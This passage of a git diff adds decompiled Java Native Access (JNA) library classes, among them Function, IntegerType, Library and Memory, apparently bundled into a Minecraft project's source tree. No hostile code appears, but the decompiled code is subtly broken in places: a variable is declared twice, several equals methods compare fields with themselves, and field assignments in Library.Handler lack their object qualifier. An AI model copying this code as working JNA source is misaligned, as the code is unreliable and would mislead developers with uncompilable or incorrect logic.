+          Structure s = Native.invokeStructure(peer, callFlags, args, Structure.newInstance(returnType));
+          
+
+          s.autoRead();
+          result = s;
+        }
+        else {
+          result = invokePointer(callFlags, args);
+          if (result != null) {
+            Structure s = Structure.newInstance(returnType);
+            s.useMemory((Pointer)result);
+            s.autoRead();
+            result = s;
+          }
+        }
+      }
+      else if (Callback.class.isAssignableFrom(returnType)) {
+        result = invokePointer(callFlags, args);
+        if (result != null) {
+          result = CallbackReference.getCallback(returnType, (Pointer)result);
+        }
+      }
+      else if (returnType == new String[0].getClass()) {
+        Pointer p = invokePointer(callFlags, args);
+        if (p != null) {
+          result = p.getStringArray(0L);
+        }
+      }
+      else if (returnType == new WString[0].getClass()) {
+        Pointer p = invokePointer(callFlags, args);
+        if (p != null) {
+          String[] arr = p.getStringArray(0L, true);
+          WString[] warr = new WString[arr.length];
+          for (int i = 0; i < arr.length; i++) {
+            warr[i] = new WString(arr[i]);
+          }
+          result = warr;
+        }
+      }
+      else if (returnType == new Pointer[0].getClass()) {
+        Pointer p = invokePointer(callFlags, args);
+        if (p != null) {
+          result = p.getPointerArray(0L);
+        }
+      }
+      else if (allowObjects) {
+        result = Native.invokeObject(peer, callFlags, args);
+        if ((result != null) && (!returnType.isAssignableFrom(result.getClass())))
+        {
+          throw new ClassCastException("Return type " + returnType + " does not match result " + result.getClass());
+        }
+        
+      }
+      else
+      {
+        throw new IllegalArgumentException("Unsupported return type " + returnType + " in function " + getName());
+      }
+    }
+    
+    return result;
+  }
+  
+  private Pointer invokePointer(int callFlags, Object[] args) {
+    long ptr = Native.invokePointer(peer, callFlags, args);
+    return ptr == 0L ? null : new Pointer(ptr);
+  }
+  
+
+  private Object convertArgument(Object[] args, int index, Method invokingMethod, TypeMapper mapper, boolean allowObjects)
+  {
+    Object arg = args[index];
+    if (arg != null) {
+      Class type = arg.getClass();
+      ToNativeConverter converter = null;
+      if (NativeMapped.class.isAssignableFrom(type)) {
+        converter = NativeMappedConverter.getInstance(type);
+      }
+      else if (mapper != null) {
+        converter = mapper.getToNativeConverter(type);
+      }
+      if (converter != null) { ToNativeContext context;
+        ToNativeContext context;
+        if (invokingMethod != null) {
+          context = new MethodParameterContext(this, args, index, invokingMethod);
+        }
+        else {
+          context = new FunctionParameterContext(this, args, index);
+        }
+        arg = converter.toNative(arg, context);
+      }
+    }
+    if ((arg == null) || (isPrimitiveArray(arg.getClass()))) {
+      return arg;
+    }
+    Class argClass = arg.getClass();
+    
+    if ((arg instanceof Structure)) {
+      Structure struct = (Structure)arg;
+      struct.autoWrite();
+      if ((struct instanceof Structure.ByValue))
+      {
+        Class ptype = struct.getClass();
+        if (invokingMethod != null) {
+          Class[] ptypes = invokingMethod.getParameterTypes();
+          if (isVarArgs(invokingMethod)) {
+            if (index < ptypes.length - 1) {
+              ptype = ptypes[index];
+            }
+            else {
+              Class etype = ptypes[(ptypes.length - 1)].getComponentType();
+              if (etype != Object.class) {
+                ptype = etype;
+              }
+            }
+          }
+          else {
+            ptype = ptypes[index];
+          }
+        }
+        if (Structure.ByValue.class.isAssignableFrom(ptype)) {
+          return struct;
+        }
+      }
+      return struct.getPointer();
+    }
+    
+    if ((arg instanceof Callback)) {
+      return CallbackReference.getFunctionPointer((Callback)arg);
+    }
+    
+
+
+
+    if ((arg instanceof String)) {
+      return new NativeString((String)arg, false).getPointer();
+    }
+    
+    if ((arg instanceof WString)) {
+      return new NativeString(arg.toString(), true).getPointer();
+    }
+    
+
+    if ((arg instanceof Boolean)) {
+      return Boolean.TRUE.equals(arg) ? INTEGER_TRUE : INTEGER_FALSE;
+    }
+    if (new String[0].getClass() == argClass) {
+      return new StringArray((String[])arg);
+    }
+    if (new WString[0].getClass() == argClass) {
+      return new StringArray((WString[])arg);
+    }
+    if (new Pointer[0].getClass() == argClass) {
+      return new PointerArray((Pointer[])arg);
+    }
+    if (new NativeMapped[0].getClass().isAssignableFrom(argClass)) {
+      return new NativeMappedArray((NativeMapped[])arg);
+    }
+    if (new Structure[0].getClass().isAssignableFrom(argClass)) {
+      Structure[] ss = (Structure[])arg;
+      Class type = argClass.getComponentType();
+      boolean byRef = Structure.ByReference.class.isAssignableFrom(type);
+      if (byRef) {
+        Pointer[] pointers = new Pointer[ss.length + 1];
+        for (int i = 0; i < ss.length; i++) {
+          pointers[i] = (ss[i] != null ? ss[i].getPointer() : null);
+        }
+        return new PointerArray(pointers);
+      }
+      if (ss.length == 0) {
+        throw new IllegalArgumentException("Structure array must have non-zero length");
+      }
+      if (ss[0] == null) {
+        Structure.newInstance(type).toArray(ss);
+        return ss[0].getPointer();
+      }
+      
+      Structure.autoWrite(ss);
+      return ss[0].getPointer();
+    }
+    
+    if (argClass.isArray()) {
+      throw new IllegalArgumentException("Unsupported array argument type: " + argClass.getComponentType());
+    }
+    
+    if (allowObjects) {
+      return arg;
+    }
+    if (!Native.isSupportedNativeType(arg.getClass())) {
+      throw new IllegalArgumentException("Unsupported argument type " + arg.getClass().getName() + " at parameter " + index + " of function " + getName());
+    }
+    
+
+
+    return arg;
+  }
+  
+  private boolean isPrimitiveArray(Class argClass) {
+    return (argClass.isArray()) && (argClass.getComponentType().isPrimitive());
+  }
+  
+
+
+
+
+
+
+  public void invoke(Object[] args)
+  {
+    invoke(Void.class, args);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private String invokeString(int callFlags, Object[] args, boolean wide)
+  {
+    Pointer ptr = invokePointer(callFlags, args);
+    String s = null;
+    if (ptr != null) {
+      if (wide) {
+        s = ptr.getString(0L, wide);
+      } else
+        s = ptr.getString(0L);
+    }
+    return s;
+  }
+  
+  public String toString()
+  {
+    if (library != null) {
+      return "native function " + functionName + "(" + library.getName() + ")@0x" + Long.toHexString(peer);
+    }
+    
+    return "native function@0x" + Long.toHexString(peer);
+  }
+  
+
+
+  public Object invokeObject(Object[] args)
+  {
+    return invoke(Object.class, args);
+  }
+  
+
+
+  public Pointer invokePointer(Object[] args)
+  {
+    return (Pointer)invoke(Pointer.class, args);
+  }
+  
+
+
+
+
+
+
+  public String invokeString(Object[] args, boolean wide)
+  {
+    Object o = invoke(String.class, args);
+    return o != null ? o.toString() : null;
+  }
+  
+
+
+  public int invokeInt(Object[] args)
+  {
+    return ((Integer)invoke(Integer.class, args)).intValue();
+  }
+  
+
+  public long invokeLong(Object[] args)
+  {
+    return ((Long)invoke(Long.class, args)).longValue();
+  }
+  
+
+  public float invokeFloat(Object[] args)
+  {
+    return ((Float)invoke(Float.class, args)).floatValue();
+  }
+  
+
+  public double invokeDouble(Object[] args)
+  {
+    return ((Double)invoke(Double.class, args)).doubleValue();
+  }
+  
+
+  public void invokeVoid(Object[] args)
+  {
+    invoke(Void.class, args);
+  }
+  
+
+
+  public boolean equals(Object o)
+  {
+    if (o == this) return true;
+    if (o == null) return false;
+    if (o.getClass() == getClass()) {
+      Function other = (Function)o;
+      return (callFlags == callFlags) && (options.equals(options)) && (peer == peer);
+    }
+    
+
+    return false;
+  }
+  
+
+
+  public int hashCode()
+  {
+    return callFlags + options.hashCode() + super.hashCode();
+  }
+  
+
+
+
+
+
+  static Object[] concatenateVarArgs(Object[] inArgs)
+  {
+    if ((inArgs != null) && (inArgs.length > 0)) {
+      Object lastArg = inArgs[(inArgs.length - 1)];
+      Class argType = lastArg != null ? lastArg.getClass() : null;
+      if ((argType != null) && (argType.isArray())) {
+        Object[] varArgs = (Object[])lastArg;
+        Object[] fullArgs = new Object[inArgs.length + varArgs.length];
+        System.arraycopy(inArgs, 0, fullArgs, 0, inArgs.length - 1);
+        System.arraycopy(varArgs, 0, fullArgs, inArgs.length - 1, varArgs.length);
+        
+
+
+
+
+        fullArgs[(fullArgs.length - 1)] = null;
+        inArgs = fullArgs;
+      }
+    }
+    return inArgs;
+  }
+  
+  static boolean isVarArgs(Method m)
+  {
+    try {
+      Method v = m.getClass().getMethod("isVarArgs", new Class[0]);
+      return Boolean.TRUE.equals(v.invoke(m, new Object[0]));
+    }
+    catch (SecurityException e) {}catch (NoSuchMethodException e) {}catch (IllegalArgumentException e) {}catch (IllegalAccessException e) {}catch (InvocationTargetException e) {}
+    
+
+
+
+
+
+
+
+
+    return false; }
+  
+  public static abstract interface PostCallRead { public abstract void read(); }
+  
+  private static class NativeMappedArray extends Memory implements Function.PostCallRead { private final NativeMapped[] original;
+    
+    public NativeMappedArray(NativeMapped[] arg) { super();
+      original = arg;
+      setValue(0L, original, original.getClass());
+    }
+    
+    public void read() { getValue(0L, original.getClass(), original); }
+  }
+  
+  private static class PointerArray extends Memory implements Function.PostCallRead {
+    private final Pointer[] original;
+    
+    public PointerArray(Pointer[] arg) {
+      super();
+      original = arg;
+      for (int i = 0; i < arg.length; i++) {
+        setPointer(i * Pointer.SIZE, arg[i]);
+      }
+      setPointer(Pointer.SIZE * arg.length, null);
+    }
+    
+    public void read() { read(0L, original, 0, original.length); }
+  }
+  
+
+  static Boolean valueOf(boolean b)
+  {
+    return b ? Boolean.TRUE : Boolean.FALSE;
+  }
+}
diff --git a/src/minecraft/com/sun/jna/FunctionMapper.java b/src/minecraft/com/sun/jna/FunctionMapper.java
new file mode 100644
index 0000000..ccabc62
--- /dev/null
+++ b/src/minecraft/com/sun/jna/FunctionMapper.java
@@ -0,0 +1,8 @@
+package com.sun.jna;
+
+import java.lang.reflect.Method;
+
+public abstract interface FunctionMapper
+{
+  public abstract String getFunctionName(NativeLibrary paramNativeLibrary, Method paramMethod);
+}
diff --git a/src/minecraft/com/sun/jna/FunctionParameterContext.java b/src/minecraft/com/sun/jna/FunctionParameterContext.java
new file mode 100644
index 0000000..60ec7d3
--- /dev/null
+++ b/src/minecraft/com/sun/jna/FunctionParameterContext.java
@@ -0,0 +1,32 @@
+package com.sun.jna;
+
+
+
+
+public class FunctionParameterContext
+  extends ToNativeContext
+{
+  private Function function;
+  
+
+
+  private Object[] args;
+  
+
+
+  private int index;
+  
+
+
+  FunctionParameterContext(Function f, Object[] args, int index)
+  {
+    function = f;
+    this.args = args;
+    this.index = index;
+  }
+  
+  public Function getFunction() { return function; }
+  
+  public Object[] getParameters() { return args; }
+  public int getParameterIndex() { return index; }
+}
diff --git a/src/minecraft/com/sun/jna/FunctionResultContext.java b/src/minecraft/com/sun/jna/FunctionResultContext.java
new file mode 100644
index 0000000..accbf2d
--- /dev/null
+++ b/src/minecraft/com/sun/jna/FunctionResultContext.java
@@ -0,0 +1,29 @@
+package com.sun.jna;
+
+
+
+
+
+public class FunctionResultContext
+  extends FromNativeContext
+{
+  private Function function;
+  
+
+
+  private Object[] args;
+  
+
+
+
+  FunctionResultContext(Class resultClass, Function function, Object[] args)
+  {
+    super(resultClass);
+    this.function = function;
+    this.args = args;
+  }
+  
+  public Function getFunction() { return function; }
+  
+  public Object[] getArguments() { return args; }
+}
diff --git a/src/minecraft/com/sun/jna/IntegerType.java b/src/minecraft/com/sun/jna/IntegerType.java
new file mode 100644
index 0000000..8f79031
--- /dev/null
+++ b/src/minecraft/com/sun/jna/IntegerType.java
@@ -0,0 +1,150 @@
+package com.sun.jna;
+
+
+
+
+
+
+public abstract class IntegerType
+  extends Number
+  implements NativeMapped
+{
+  private int size;
+  
+
+
+
+
+  private Number number;
+  
+
+
+
+
+  private boolean unsigned;
+  
+
+
+
+
+  private long value;
+  
+
+
+
+
+  public IntegerType(int size)
+  {
+    this(size, 0L, false);
+  }
+  
+  public IntegerType(int size, boolean unsigned)
+  {
+    this(size, 0L, unsigned);
+  }
+  
+  public IntegerType(int size, long value)
+  {
+    this(size, value, false);
+  }
+  
+  public IntegerType(int size, long value, boolean unsigned)
+  {
+    this.size = size;
+    this.unsigned = unsigned;
+    setValue(value);
+  }
+  
+  public void setValue(long value)
+  {
+    long truncated = value;
+    this.value = value;
+    switch (size) {
+    case 1: 
+      if (unsigned) this.value = (value & 0xFF);
+      truncated = (byte)(int)value;
+      number = new Byte((byte)(int)value);
+      break;
+    case 2: 
+      if (unsigned) this.value = (value & 0xFFFF);
+      truncated = (short)(int)value;
+      number = new Short((short)(int)value);
+      break;
+    case 4: 
+      if (unsigned) this.value = (value & 0xFFFFFFFF);
+      truncated = (int)value;
+      number = new Integer((int)value);
+      break;
+    case 8: 
+      number = new Long(value);
+      break;
+    case 3: case 5: case 6: case 7: default: 
+      throw new IllegalArgumentException("Unsupported size: " + size);
+    }
+    if (size < 8) {
+      long mask = (1L << size * 8) - 1L ^ 0xFFFFFFFFFFFFFFFF;
+      if (((value < 0L) && (truncated != value)) || ((value >= 0L) && ((mask & value) != 0L)))
+      {
+        throw new IllegalArgumentException("Argument value 0x" + Long.toHexString(value) + " exceeds native capacity (" + size + " bytes) mask=0x" + Long.toHexString(mask));
+      }
+    }
+  }
+  
+
+  public Object toNative()
+  {
+    return number;
+  }
+  
+  public Object fromNative(Object nativeValue, FromNativeContext context)
+  {
+    long value = nativeValue == null ? 0L : ((Number)nativeValue).longValue();
+    try
+    {
+      IntegerType number = (IntegerType)getClass().newInstance();
+      number.setValue(value);
+      return number;
+    }
+    catch (InstantiationException e) {
+      throw new IllegalArgumentException("Can't instantiate " + getClass());
+    }
+    catch (IllegalAccessException e)
+    {
+      throw new IllegalArgumentException("Not allowed to instantiate " + getClass());
+    }
+  }
+  
+  public Class nativeType()
+  {
+    return number.getClass();
+  }
+  
+  public int intValue() {
+    return (int)value;
+  }
+  
+  public long longValue() {
+    return value;
+  }
+  
+  public float floatValue() {
+    return number.floatValue();
+  }
+  
+  public double doubleValue() {
+    return number.doubleValue();
+  }
+  
+  public boolean equals(Object rhs) {
+    return ((rhs instanceof IntegerType)) && (number.equals(number));
+  }
+  
+  public String toString()
+  {
+    return number.toString();
+  }
+  
+  public int hashCode() {
+    return number.hashCode();
+  }
+}
diff --git a/src/minecraft/com/sun/jna/InvocationMapper.java b/src/minecraft/com/sun/jna/InvocationMapper.java
new file mode 100644
index 0000000..0fd162c
--- /dev/null
+++ b/src/minecraft/com/sun/jna/InvocationMapper.java
@@ -0,0 +1,9 @@
+package com.sun.jna;
+
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.Method;
+
+public abstract interface InvocationMapper
+{
+  public abstract InvocationHandler getInvocationHandler(NativeLibrary paramNativeLibrary, Method paramMethod);
+}
diff --git a/src/minecraft/com/sun/jna/LastErrorException.java b/src/minecraft/com/sun/jna/LastErrorException.java
new file mode 100644
index 0000000..7869173
--- /dev/null
+++ b/src/minecraft/com/sun/jna/LastErrorException.java
@@ -0,0 +1,65 @@
+package com.sun.jna;
+
+
+
+
+
+
+
+
+
+public class LastErrorException
+  extends RuntimeException
+{
+  private int errorCode;
+  
+
+
+
+
+
+
+
+  private static String formatMessage(int code)
+  {
+    return "errno was " + code;
+  }
+  
+  private static String parseMessage(String m)
+  {
+    try
+    {
+      return formatMessage(Integer.parseInt(m));
+    }
+    catch (NumberFormatException e) {}
+    return m;
+  }
+  
+  public LastErrorException(String msg)
+  {
+    super(parseMessage(msg.trim()));
+    try {
+      if (msg.startsWith("[")) {
+        msg = msg.substring(1, msg.indexOf("]"));
+      }
+      errorCode = Integer.parseInt(msg);
+    }
+    catch (NumberFormatException e) {
+      errorCode = -1;
+    }
+  }
+  
+
+
+
+
+  public int getErrorCode()
+  {
+    return errorCode;
+  }
+  
+  public LastErrorException(int code) {
+    super(formatMessage(code));
+    errorCode = code;
+  }
+}
diff --git a/src/minecraft/com/sun/jna/Library.java b/src/minecraft/com/sun/jna/Library.java
new file mode 100644
index 0000000..6dd0922
--- /dev/null
+++ b/src/minecraft/com/sun/jna/Library.java
@@ -0,0 +1,219 @@
+package com.sun.jna;
+
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.Method;
+import java.lang.reflect.Proxy;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.WeakHashMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Library
+{
+  public static final String OPTION_TYPE_MAPPER = "type-mapper";
+  public static final String OPTION_FUNCTION_MAPPER = "function-mapper";
+  public static final String OPTION_INVOCATION_MAPPER = "invocation-mapper";
+  public static final String OPTION_STRUCTURE_ALIGNMENT = "structure-alignment";
+  public static final String OPTION_ALLOW_OBJECTS = "allow-objects";
+  public static final String OPTION_CALLING_CONVENTION = "calling-convention";
+  
+  public static class Handler
+    implements InvocationHandler
+  {
+    static final Method OBJECT_TOSTRING;
+    static final Method OBJECT_HASHCODE;
+    static final Method OBJECT_EQUALS;
+    private final NativeLibrary nativeLibrary;
+    private final Class interfaceClass;
+    private final Map options;
+    private FunctionMapper functionMapper;
+    private final InvocationMapper invocationMapper;
+    
+    static
+    {
+      try
+      {
+        OBJECT_TOSTRING = (Library.1.class$java$lang$Object == null ? (Library.1.class$java$lang$Object = Library.1.class$("java.lang.Object")) : Library.1.class$java$lang$Object).getMethod("toString", new Class[0]);
+        OBJECT_HASHCODE = (Library.1.class$java$lang$Object == null ? (Library.1.class$java$lang$Object = Library.1.class$("java.lang.Object")) : Library.1.class$java$lang$Object).getMethod("hashCode", new Class[0]);
+        OBJECT_EQUALS = (Library.1.class$java$lang$Object == null ? (Library.1.class$java$lang$Object = Library.1.class$("java.lang.Object")) : Library.1.class$java$lang$Object).getMethod("equals", new Class[] { Library.1.class$java$lang$Object == null ? (Library.1.class$java$lang$Object = Library.1.class$("java.lang.Object")) : Library.1.class$java$lang$Object });
+      }
+      catch (Exception e) {
+        throw new Error("Error retrieving Object.toString() method");
+      }
+    }
+    
+    private static class FunctionNameMap implements FunctionMapper {
+      private final Map map;
+      
+      public FunctionNameMap(Map map) { this.map = new HashMap(map); }
+      
+      public String getFunctionName(NativeLibrary library, Method method) {
+        String name = method.getName();
+        if (map.containsKey(name)) {
+          return (String)map.get(name);
+        }
+        return name;
+      }
+    }
+    
+
+
+
+
+
+
+    private final Map functions = new WeakHashMap();
+    
+    public Handler(String libname, Class interfaceClass, Map options) {
+      if ((libname != null) && ("".equals(libname.trim()))) {
+        throw new IllegalArgumentException("Invalid library name \"" + libname + "\"");
+      }
+      
+
+      this.interfaceClass = interfaceClass;
+      options = new HashMap(options);
+      int callingConvention = (Library.1.class$com$sun$jna$AltCallingConvention == null ? (Library.1.class$com$sun$jna$AltCallingConvention = Library.1.class$("com.sun.jna.AltCallingConvention")) : Library.1.class$com$sun$jna$AltCallingConvention).isAssignableFrom(interfaceClass) ? 1 : 0;
+      
+
+      if (options.get("calling-convention") == null) {
+        options.put("calling-convention", new Integer(callingConvention));
+      }
+      
+      this.options = options;
+      nativeLibrary = NativeLibrary.getInstance(libname, options);
+      functionMapper = ((FunctionMapper)options.get("function-mapper"));
+      if (functionMapper == null)
+      {
+        functionMapper = new FunctionNameMap(options);
+      }
+      invocationMapper = ((InvocationMapper)options.get("invocation-mapper"));
+    }
+    
+    public NativeLibrary getNativeLibrary() {
+      return nativeLibrary;
+    }
+    
+    public String getLibraryName() {
+      return nativeLibrary.getName();
+    }
+    
+
+    public Class getInterfaceClass() { return interfaceClass; }
+    
+    private static class FunctionInfo { private FunctionInfo() {}
+      FunctionInfo(Library.1 x0) { this(); }
+      
+      InvocationHandler handler;
+      Function function;
+      boolean isVarArgs;
+      Map options;
+    }
+    
+    public Object invoke(Object proxy, Method method, Object[] inArgs)
+      throws Throwable
+    {
+      if (OBJECT_TOSTRING.equals(method)) {
+        return "Proxy interface to " + nativeLibrary;
+      }
+      if (OBJECT_HASHCODE.equals(method)) {
+        return new Integer(hashCode());
+      }
+      if (OBJECT_EQUALS.equals(method)) {
+        Object o = inArgs[0];
+        if ((o != null) && (Proxy.isProxyClass(o.getClass()))) {
+          return Function.valueOf(Proxy.getInvocationHandler(o) == this);
+        }
+        return Boolean.FALSE;
+      }
+      
+      FunctionInfo f = null;
+      synchronized (functions) {
+        f = (FunctionInfo)functions.get(method);
+        if (f == null) {
+          f = new FunctionInfo(null);
+          isVarArgs = Function.isVarArgs(method);
+          if (invocationMapper != null) {
+            handler = invocationMapper.getInvocationHandler(nativeLibrary, method);
+          }
+          if (handler == null)
+          {
+            String methodName = functionMapper.getFunctionName(nativeLibrary, method);
+            
+            if (methodName == null)
+            {
+              methodName = method.getName();
+            }
+            function = nativeLibrary.getFunction(methodName, method);
+            options = new HashMap(options);
+            options.put("invoking-method", method);
+          }
+          functions.put(method, f);
+        }
+      }
+      if (isVarArgs) {
+        inArgs = Function.concatenateVarArgs(inArgs);
+      }
+      if (handler != null) {
+        return handler.invoke(proxy, method, inArgs);
+      }
+      return function.invoke(method.getReturnType(), inArgs, options);
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/Memory.java b/src/minecraft/com/sun/jna/Memory.java
new file mode 100644
index 0000000..949881e
--- /dev/null
+++ b/src/minecraft/com/sun/jna/Memory.java
@@ -0,0 +1,699 @@
+package com.sun.jna;
+
+import java.nio.ByteBuffer;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Memory
+  extends Pointer
+{
+  private static final Map buffers = Collections.synchronizedMap(Platform.HAS_BUFFERS ? new WeakIdentityHashMap() : new HashMap());
+  
+
+  protected long size;
+  
+
+
+  public static void purge()
+  {
+    buffers.size();
+  }
+  
+  private class SharedMemory
+    extends Memory
+  {
+    public SharedMemory(long offset)
+    {
+      size = (size - offset);
+      peer = (peer + offset);
+    }
+    
+    protected void finalize() {}
+    
+    protected void boundsCheck(long off, long sz) {
+      Memory.this.boundsCheck(peer - peer + off, sz);
+    }
+    
+    public String toString() { return super.toString() + " (shared from " + Memory.this.toString() + ")"; }
+  }
+  
+
+
+
+
+
+  public Memory(long size)
+  {
+    this.size = size;
+    if (size <= 0L) {
+      throw new IllegalArgumentException("Allocation size must be greater than zero");
+    }
+    peer = malloc(size);
+    if (peer == 0L) {
+      throw new OutOfMemoryError("Cannot allocate " + size + " bytes");
+    }
+  }
+  
+
+
+  protected Memory() {}
+  
+
+
+  public Pointer share(long offset)
+  {
+    return share(offset, getSize() - offset);
+  }
+  
+
+
+
+  public Pointer share(long offset, long sz)
+  {
+    if ((offset == 0L) && (sz == getSize()))
+      return this;
+    boundsCheck(offset, sz);
+    return new SharedMemory(offset);
+  }
+  
+
+
+
+
+
+
+
+  public Memory align(int byteBoundary)
+  {
+    if (byteBoundary <= 0) {
+      throw new IllegalArgumentException("Byte boundary must be positive: " + byteBoundary);
+    }
+    for (int i = 0; i < 32; i++) {
+      if (byteBoundary == 1 << i) {
+        long mask = byteBoundary - 1L ^ 0xFFFFFFFFFFFFFFFF;
+        
+        if ((peer & mask) != peer) {
+          long newPeer = peer + byteBoundary - 1L & mask;
+          long newSize = peer + size - newPeer;
+          if (newSize <= 0L) {
+            throw new IllegalArgumentException("Insufficient memory to align to the requested boundary");
+          }
+          return (Memory)share(newPeer - peer, newSize);
+        }
+        return this;
+      }
+    }
+    throw new IllegalArgumentException("Byte boundary must be a power of two");
+  }
+  
+  protected void finalize()
+  {
+    dispose();
+  }
+  
+  protected synchronized void dispose()
+  {
+    free(peer);
+    peer = 0L;
+  }
+  
+
+
+  public void clear() { clear(size); }
+  
+  /**
+   * @deprecated
+   */
+  public boolean isValid() { return valid(); }
+  
+
+  public boolean valid()
+  {
+    return peer != 0L;
+  }
+  
+
+  public long size() { return size; }
+  
+  /**
+   * @deprecated
+   */
+  public long getSize() { return size(); }
+  
+
+
+
+
+
+
+  protected void boundsCheck(long off, long sz)
+  {
+    if (off < 0L) {
+      throw new IndexOutOfBoundsException("Invalid offset: " + off);
+    }
+    if (off + sz > size) {
+      String msg = "Bounds exceeds available space : size=" + size + ", offset=" + (off + sz);
+      
+      throw new IndexOutOfBoundsException(msg);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void read(long bOff, byte[] buf, int index, int length)
+  {
+    boundsCheck(bOff, length * 1L);
+    super.read(bOff, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void read(long bOff, short[] buf, int index, int length)
+  {
+    boundsCheck(bOff, length * 2L);
+    super.read(bOff, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void read(long bOff, char[] buf, int index, int length)
+  {
+    boundsCheck(bOff, length * 2L);
+    super.read(bOff, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void read(long bOff, int[] buf, int index, int length)
+  {
+    boundsCheck(bOff, length * 4L);
+    super.read(bOff, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void read(long bOff, long[] buf, int index, int length)
+  {
+    boundsCheck(bOff, length * 8L);
+    super.read(bOff, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void read(long bOff, float[] buf, int index, int length)
+  {
+    boundsCheck(bOff, length * 4L);
+    super.read(bOff, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void read(long bOff, double[] buf, int index, int length)
+  {
+    boundsCheck(bOff, length * 8L);
+    super.read(bOff, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void write(long bOff, byte[] buf, int index, int length)
+  {
+    boundsCheck(bOff, length * 1L);
+    super.write(bOff, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void write(long bOff, short[] buf, int index, int length)
+  {
+    boundsCheck(bOff, length * 2L);
+    super.write(bOff, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void write(long bOff, char[] buf, int index, int length)
+  {
+    boundsCheck(bOff, length * 2L);
+    super.write(bOff, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void write(long bOff, int[] buf, int index, int length)
+  {
+    boundsCheck(bOff, length * 4L);
+    super.write(bOff, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void write(long bOff, long[] buf, int index, int length)
+  {
+    boundsCheck(bOff, length * 8L);
+    super.write(bOff, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void write(long bOff, float[] buf, int index, int length)
+  {
+    boundsCheck(bOff, length * 4L);
+    super.write(bOff, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void write(long bOff, double[] buf, int index, int length)
+  {
+    boundsCheck(bOff, length * 8L);
+    super.write(bOff, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public byte getByte(long offset)
+  {
+    boundsCheck(offset, 1L);
+    return super.getByte(offset);
+  }
+  
+
+
+
+
+
+
+
+
+  public char getChar(long offset)
+  {
+    boundsCheck(offset, 1L);
+    return super.getChar(offset);
+  }
+  
+
+
+
+
+
+
+
+
+  public short getShort(long offset)
+  {
+    boundsCheck(offset, 2L);
+    return super.getShort(offset);
+  }
+  
+
+
+
+
+
+
+
+
+  public int getInt(long offset)
+  {
+    boundsCheck(offset, 4L);
+    return super.getInt(offset);
+  }
+  
+
+
+
+
+
+
+
+
+  public long getLong(long offset)
+  {
+    boundsCheck(offset, 8L);
+    return super.getLong(offset);
+  }
+  
+
+
+
+
+
+
+
+
+  public float getFloat(long offset)
+  {
+    boundsCheck(offset, 4L);
+    return super.getFloat(offset);
+  }
+  
+
+
+
+
+
+
+
+
+  public double getDouble(long offset)
+  {
+    boundsCheck(offset, 8L);
+    return super.getDouble(offset);
+  }
+  
+
+
+
+
+
+
+
+
+  public Pointer getPointer(long offset)
+  {
+    boundsCheck(offset, Pointer.SIZE);
+    return super.getPointer(offset);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public ByteBuffer getByteBuffer(long offset, long length)
+  {
+    boundsCheck(offset, length);
+    ByteBuffer b = super.getByteBuffer(offset, length);
+    
+
+    buffers.put(b, this);
+    return b;
+  }
+  
+
+
+
+
+
+
+
+
+  public String getString(long offset, boolean wide)
+  {
+    boundsCheck(offset, 0L);
+    return super.getString(offset, wide);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setByte(long offset, byte value)
+  {
+    boundsCheck(offset, 1L);
+    super.setByte(offset, value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setChar(long offset, char value)
+  {
+    boundsCheck(offset, Native.WCHAR_SIZE);
+    super.setChar(offset, value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setShort(long offset, short value)
+  {
+    boundsCheck(offset, 2L);
+    super.setShort(offset, value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setInt(long offset, int value)
+  {
+    boundsCheck(offset, 4L);
+    super.setInt(offset, value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setLong(long offset, long value)
+  {
+    boundsCheck(offset, 8L);
+    super.setLong(offset, value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setFloat(long offset, float value)
+  {
+    boundsCheck(offset, 4L);
+    super.setFloat(offset, value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setDouble(long offset, double value)
+  {
+    boundsCheck(offset, 8L);
+    super.setDouble(offset, value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setPointer(long offset, Pointer value)
+  {
+    boundsCheck(offset, Pointer.SIZE);
+    super.setPointer(offset, value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setString(long offset, String value, boolean wide)
+  {
+    if (wide) {
+      boundsCheck(offset, (value.length() + 1L) * Native.WCHAR_SIZE);
+    } else
+      boundsCheck(offset, value.getBytes().length + 1L);
+    super.setString(offset, value, wide);
+  }
+  
+  public String toString() {
+    return "allocated@0x" + Long.toHexString(peer) + " (" + size + " bytes)";
+  }
+  
+  protected static void free(long p)
+  {
+    Native.free(p);
+  }
+  
+  protected static long malloc(long size) {
+    return Native.malloc(size);
+  }
+}
